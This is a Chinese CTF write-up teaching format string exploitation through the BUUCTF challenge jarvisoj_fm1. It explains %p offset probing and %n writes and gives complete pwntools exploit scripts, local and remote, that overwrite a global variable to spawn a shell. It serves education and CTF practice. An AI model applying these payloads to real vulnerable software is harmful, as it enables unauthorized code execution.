格式化字符串漏洞在CTF的PWN方向里,属于那种“会者不难,难者不会”的经典入门点。我最早遇到它的时候,对着逆向工具里的printf(buf)看了半天,想不通为什么一行看起来人畜无害的代码,就能让人直接拿到shell。后来真正搞懂了它背后“参数错位”的原理,才发现这类漏洞的利用套路其实非常固定,而且一旦掌握,很多同类型的题都能秒出思路。今天就用BUUCTF平台上的 jarvisoj_fm1 这道题,从格式化字符串漏洞的原理开始,到实际手工构造payload,把整个流程完整走一遍。
这篇文章适合谁看?如果你刚接触PWN,栈溢出已经能看懂,但遇到格式化字符串题还是一脸懵;或者你在BUUCTF上做了一题,网上wp里的%16$n让你完全摸不着头脑;再或者你想系统地把“读内存”“写内存”这两个利用方向一次性搞清楚,那这篇内容应该能帮到你。我不会只丢一个能直接跑的exp,而是把每一步为什么这么写、地址从哪来、偏移怎么测都拆开讲。
1. 先搞懂printf为什么会翻车
1.1 可变参数与“按图索骥”的栈读取
格式化字符串漏洞的本质,是C语言可变参数函数的设计缺陷。printf这类函数接收任意多个参数,它对参数数量的把握,完全依赖格式串(format string)里的占位符。什么意思呢?当你说printf("%d %d", a, b)时,编译器根据格式串里的两个%d,把 a 和 b 压到栈上。可函数自己并不知道“实际传了几个参数”,它只是严格按照格式串里的占位符数量,一个接一个地从栈上取数据。
问题就出在这里:如果格式串本身也由用户控制,用户就可以写"%d%d%d%d%d%d%d%d",让printf把栈上根本不属于它的数据也当作参数打印出来。这就好比你去食堂打菜,跟阿姨说“给我三菜一汤”,但没说清楚是哪三菜,阿姨就按面前锅里的顺序挨个打,锅里有什么就打什么。printf就是那个阿姨,格式串里的占位符是你的点单指令,栈上连着的内存就是那一排锅。
正常情况下,格式串是开发者写死的,比如printf("hello %s", name),占位符数量和参数对得上,不会出差错。可一旦格式串来自用户输入,比如代码里写了printf(user_input),那整个栈上的数据就都暴露在攻击者面前了。
1.2 占位符速查:你点的菜和实际上的菜
要想利用这个漏洞,先得认识几个关键的格式化占位符。平时写代码常用的%d、%s大家很熟,但在PWN里,真正重要的是下面这几个:
| 占位符 | 作用 | 利用价值 |
|---|---|---|
%d/%i | 以十进制整数输出参数 | 泄露整数值 |
%x | 以十六进制输出参数 | 泄露栈上数据,观察字节布局 |
%p | 以指针形式输出参数 | 泄露栈地址、libc地址,最直观 |
%s | 把参数作为指针,输出该地址指向的内存 | 配合可控地址,实现任意地址读 |
%n | 不输出任何字符,把“已输出的字符数”写入参数指向的内存 | 配合可控地址,实现任意地址写 |
重点先放在%p和%n上。%p是泄露信息的好帮手,而%n是整个格式化字符串漏洞利用的核心武器。很多人第一次做题只用了%n改数据,忽略了%p,但测偏移、算地址全靠它。
1.3 %n:从“读”到“写”的关键一跃
%n的语义和其它占位符完全不同。它不输出内容,而是把printf到目前为止已经输出的字符个数,写入一个指针参数指向的内存地址。举个例子:
int x = 0; printf("AAAA%n", &x); // 此时 x = 4,因为%n之前已经输出了4个字符到这里你可能已经意识到危险了:如果攻击者能通过可控的格式串,把一个目标地址交给%n,就能往任意地址写入任意值。写入的值由“已经输出的字符数”控制,所以配合%c的宽度控制,比如%10c就会强制输出10个字符,从而精确控制写入的数值。
这就是漏洞从“读栈上信息”升级为“任意地址写”的关键一步。后面的所有利用,包括改全局变量、改GOT表、劫持流程,底层都是这个“写入字符数”的机制。
2. jarvisoj_fm1 题目初探:一个需要修改全局变量的倒霉程序
2.1 拿到二进制之后的第一轮检查
BUUCTF上这道题的附件是一个32位ELF文件。拿到手之后,我习惯性地先跑三个命令,这三个命令是PWN题的固定起手式。
file fm checksec --file=./fmfile的执行结果一般是这样的:
fm: ELF 32-bit LSB executable, Intel 80386, dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32确认是32位程序。32位和64位的利用差异会很大,后面我会专门讲做法为什么不同。接着看保护机制:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)看到No PIE是关键,说明程序加载地址固定,全局变量的地址是写死的。这就让我们后续可以直接引用固定地址。No canary found说明栈上没有金丝雀,虽然本题用不太上,但也符合一个入门题的友好定位。
2.2 反汇编与伪代码:漏洞点一眼定位
用IDA或者Ghidra打开,main函数逻辑大致是这样的:
int x; // 全局变量,位于 .bss 段 int main() { char buf[80]; setvbuf(stdout, 0, 2, 0); puts("Let's see if you know how to modify variables"); read(0, buf, 100u); printf(buf); if (x == 4) system("/bin/sh"); return 0; }如果手边没有IDA,用命令行反汇编也一样:
objdump -d fm -Mintel | grep -A 40 "<main>:"你会看到类似这样的关键片段:
lea eax, [ebp-0x58] mov [esp], eax call read lea eax, [ebp-0x58] mov [esp], eax call printf mov eax, ds:0x804a044 cmp eax, 4 jne 0x80484e8 mov DWORD PTR [esp], 0x8048604 call system这里出现了两件很重要的事。第一,read把用户输入读到了栈上的buf里,随后printf直接把这个buf当格式串使用,这就是最典型的格式化字符串漏洞点。你没有给printf任何其它参数,而格式串完全由玩家控制。第二,程序后面比较了某个全局变量的值,如果等于4,就调用system("/bin/sh")。这个全局变量就是源码里的x,它的地址是反汇编里看到的ds:0x804a044。
2.3 我们的利用目标:x == 4
所以这道题的利用目标非常明确:在printf(buf)执行的时候,把x的值改成4。不需要ROP,不需要栈溢出,只需要利用格式化字符串的%n写入能力。
这里有个很容易被新手忽略的点:程序读入100字节到80字节的栈缓冲区里,看起来像是有栈溢出,但那不是正路。重点关注的是格式化字符串漏洞,而不是溢出。做题前先把题目想清楚,拿到shell的方式不止一种,选最顺的。
全局变量x不在栈上,而在.bss段,地址是固定的。因为程序没开PIE,我们就可以把这个绝对地址直接写进payload。
3. 手工构造payload的完整流程
3.1 定位x的真实地址
我在本地复现时,x的地址是0x0804A044。这个地址不是靠猜的,有两种办法确认。
第一种,命令行直接查符号表:
objdump -t fm | grep " x$"或者:
readelf -s fm | grep " x$"第二种,在IDA里点一下变量x,看它的段地址。注意,不同平台、不同版本的题目附件,地址可能会有一点差异,网上wp里给的地址不一定和你本地的完全一致。所以拿到题先查自己这份二进制,这是基本功。
查之前先解释一下这个地址为什么能用:程序开了NX,但没有开PIE,.bss段的地址在链接时被固定在0x0804A044附近,不会因为这些进程级保护而改变。要是开了PIE,就得先泄露程序基址,那就麻烦得多了。
3.2 偏移怎么测:%p连环钩
有了目标地址,现在需要知道的是:buf里的内容到底对应printf的第几个参数。这个数字直接决定我们写%几$n。
我第一次做这种题的时候,总是搞不清楚偏移,后来养成一个习惯:上来自动化测一遍。方法很简单,发送一串AAAA开头,后面跟一大堆%p占位符:
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.用本地进程跑一下,观察输出里0x41414141出现在第几个%p的位置。0x41就是字符A的十六进制ASCII码,如果某个%p打印出了0x41414141,说明当前参数位置正好对应buf开头的4个字节。
以这道题常见的编译结果来说,0x41414141会出现在第16个%p附近。我在本地实测的结果就是第16个,也就是用%16$n去访问它。但我要强调一下:这个数字受编译选项、libc版本影响,不同环境可能不一样。所以拿任何一道格式化字符串题,第一件事就是亲手测一遍偏移,不要只背wp里的数字。
如果用了pwntools,这个过程可以半自动化。甚至可以先连上去发一串%p,看回包里的第几个位置出现了自己的标记字节。把偏移写死在纸上,后面构造payload就不会糊涂。
3.3 payload逐字节拆解
现在到了最核心的部分。网上常见的exp核心payload就一行:
payload = p32(0x0804A044) + b'%16$n'这行代码看着短,里面信息量其实很大。我拆开讲。
p32(0x0804A044)是把x的地址按32位小端格式转成4个字节。把这4个字节放在payload最前面,正好对应%p测试时buf首部的位置,也就是第16个参数的位置。这样当printf执行到%16$n时,它会从栈上的第16个参数位置取出这个4字节数据,当作一个内存地址,然后去这个地址写入数据。
写入的数据是多少呢?%n写入的是“当前已经输出的字符数”。而printf输出到目前为“已经”输出了多少字符?答案就是payload开头那4个字节。printf会把这4个字节当作普通字符串原样输出,哪怕里面是不可打印字符,它也会按4个字符计数。所以遇到%n那一刻,输出字符数是4,写入x的值就是4。
这就正好满足后续判断条件x == 4。一切的巧合,其实都是设计好的。
很多新手会问:为什么地址要放在payload最前面,而不能放在%16$n后面?因为格式化字符串利用的核心约束是:所有需要被printf“当作参数读取”的数据,都必须出现在格式串里可控的位置。在32位下,printf对可变参数的读取是从栈上一个固定位置开始的,而buf这个栈缓冲区的内容恰好能被某些参数索引到。把目标地址放在buf首部,它才能成为第16个参数。放到后面,第16个参数位置上就是别的数据,%n会把那个数据当作地址去写入,大概率直接段错误。
第二个细节:x的地址是0x0804A044,转成小端是\x44\xa0\x04\x08,这4个字节里没有出现0x00。这是个很幸运的巧合。如果一个地址是0x0804A000之类,小端排列就会以\x00开头,printf解析格式串遇到\x00会直接截断,后面的%16$n根本不会执行。这个坑放到第4节再展开。
3.4 完整exp:本地打与远程打
把上面的思路拼起来,一个完整的本地exp是这样的:
from pwn import * context(os='linux', arch='i386', log_level='debug') p = process('./fm') x_addr = 0x0804A044 payload = p32(x_addr) + b'%16$n' p.sendline(payload) p.interactive()本地跑通了,远程打BUUCTF时只需要换一下目标:
from pwn import * context(os='linux', arch='i386', log_level='debug') p = remote('node4.buuoj.cn', 12345) # 端口换成题目页面给的地址 # p = process('./fm') x_addr = 0x0804A044 payload = p32(x_addr) + b'%16$n' p.sendline(payload) p.interactive()端口那里根据BUUCTF题目页面显示的来,平台每次开放的端口不固定。
一个小细节:sendline会在payload末尾自动加一个换行。这个换行是在%16$n之后被printf处理的,所以字符计数仍然是4,不会影响结果。但如果你手贱写成p32(x_addr) + b'\n' + b'%16$n',换行先被输出,x就会被写成5,题目就卡住了。这种“先后顺序影响计数”的坑,值得记一下。
3.5 自动化方法:fmtstr_payload
当你理解了手工构造原理之后,可以试着用pwntools提供的自动化函数来加速:
from pwn import * context(os='linux', arch='i386') p = process('./fm') x_addr = 0x0804A044 payload = fmtstr_payload(16, {x_addr: 4}) p.sendline(payload) p.interactive()fmtstr_payload(offset, {address: value})的意思是:在偏移为16的位置,向address写入value。它内部会帮你生成一段扩充的payload,里面可能包含多个%c和多个%hn,因为它要把4精确地拆成字节来写。
这里我必须强调一个学习态度的问题:自动化函数“能用”不代表“理解”。我建议新手至少手写完成一遍这道题,再回去用fmtstr_payload。这样才能真正理解它生成的payload为什么那么长,为什么里面既有%c又有%hn。否则下次题目稍微变一下,比如要求写0x804A044这种大数,你根本不知道怎么改。
4. 实战避坑:那些年我们都踩过的格式化字符串坑
4.1 现象、原因、对策速查表
做题做得多了,你会发现格式化字符串的坑其实就那几个。我整理了一个速查表,遇到问题先对着看。
| 现象 | 可能原因 | 排查方法 |
|---|---|---|
| 发送payload后程序直接崩了 | 偏移算错,%n把某个非法值当地址写了 | 先用%p链重新测偏移 |
| 程序正常输出但没进shell | x的值没被改成4,可能地址不对或写入值不对 | objdump -t重新确认地址,检查输出字符数 |
| 本地能通,远程不通 | 远程环境和本地环境偏移不一致,或平台端口变更 | 远程也先发%p链测一遍偏移 |
payload里地址有0x00,后面的%n没执行 | printf在\x00处截断,格式串不完整 | 把地址挪到payload末尾,或用分段写入 |
sendline之后x变成了5而不是4 | 换行符被printf在%n之前输出了 | 确认换行在%n之后,不要手动插换行 |
标准排查流程我一般是这样:本地开context.log_level='debug',先把收到的输出全部打出来,看%p链的实际布局;再看%n之前到底输出了多少个字符;最后确认写地址时用的是不是p32而不是p64。这个流程解决了我90%的问题。
4.2 地址里有0x00怎么办
前面提到,x的地址0x0804A044没有包含0x00,所以我们可以放心地把地址放在payload最前面。但很多题目的目标地址不一定这么友好。比如地址是0x0804A000,小端排列就是\x00\xa0\x04\x08,如果放在格式串开头,printf解析到第一个字符\x00就认为格式串结束了,后面的%16$n成了摆设。
这种情况下,思路就是把地址从格式串的可变参数位置,挪到payload末尾。格式串中间先用大量的填充字符占位,再用%16$n之前的某个参数编号指向末尾的地址。但你得保证末尾地址能被某个参数索引到,并且前半部分格式串即使遇到\x00也不会截断到那些%n指令。常见的做法是地址放在payload尾部,然后用%hhn分段一次写一个字节。这算是进阶内容,但思想上和这道题是一脉相承的。
4.3 32位和64位的根本差异
fm1是32位程序,所以exp里用的p32。如果你开始打64位题目,会发现有两个明显变化。
第一,64位下前6个函数参数优先使用寄存器传递,第7个开始才走栈,所以%p链测出来的偏移起点和32位完全不同,通常从第6个参数之后才开始看栈上的用户输入。第二,payload里的地址是8字节,为了让后面跟的格式串不出现\x00,对齐规则也变了,经常需要在地址和格式串之间插入填充字节。所以看到64位题,第一反应不能是把32位的payload照搬,一定要先弄清参数传递规则。
4.4 把fm1吃透之后,接下来练什么
做完这道题,建议不要急着开新题,先把原理复盘一遍。我个人的做法是:把%p链测偏移的步骤写成一个可复用的模板函数,之后的所有格式化字符串题都能直接调用。接着去刷几道类似的基础题,你会发现套路是一样的:定位可控偏移、确定目标地址、用%n写入目标值。
再往后就可以往三个方向深入。第一,用%s做任意地址读,泄露GOT表里的真实libc地址,为ret2libc铺路。第二,用%n全家桶改GOT表项,把某个函数地址改成system或one_gadget。第三,结合FULL RELRO、PIE这类保护机制,研究格式化字符串在完整防护下的高级打法。这一套练下来,你对PWN里“读写任意内存”的理解会上升一大截。
我个人在实际操作中的体会是:fm1这道题最大的价值,不是让你记住了%16$n这个具体偏移,而是让你理解“参数索引”和“字符计数”这两个概念。一旦你亲手跑完一次%p链,看到自己发的字节在栈上第几个位置出现;再亲手用%n把那块内存改成4,触发system("/bin/sh"),那种感觉是很奇妙的。它说明你已经从一个只知道抄exp的新手,变成了一个能自己构造利用的选手。
最后再分享一个我踩过很多次才改过来的习惯:不管题目看上去多简单,拿到附件先把checksec的输出、目标地址、偏移、payload都写在纸上,然后再动手敲代码。别看这只是一个流程问题,它能帮你少浪费大量在调试器里发呆的时间。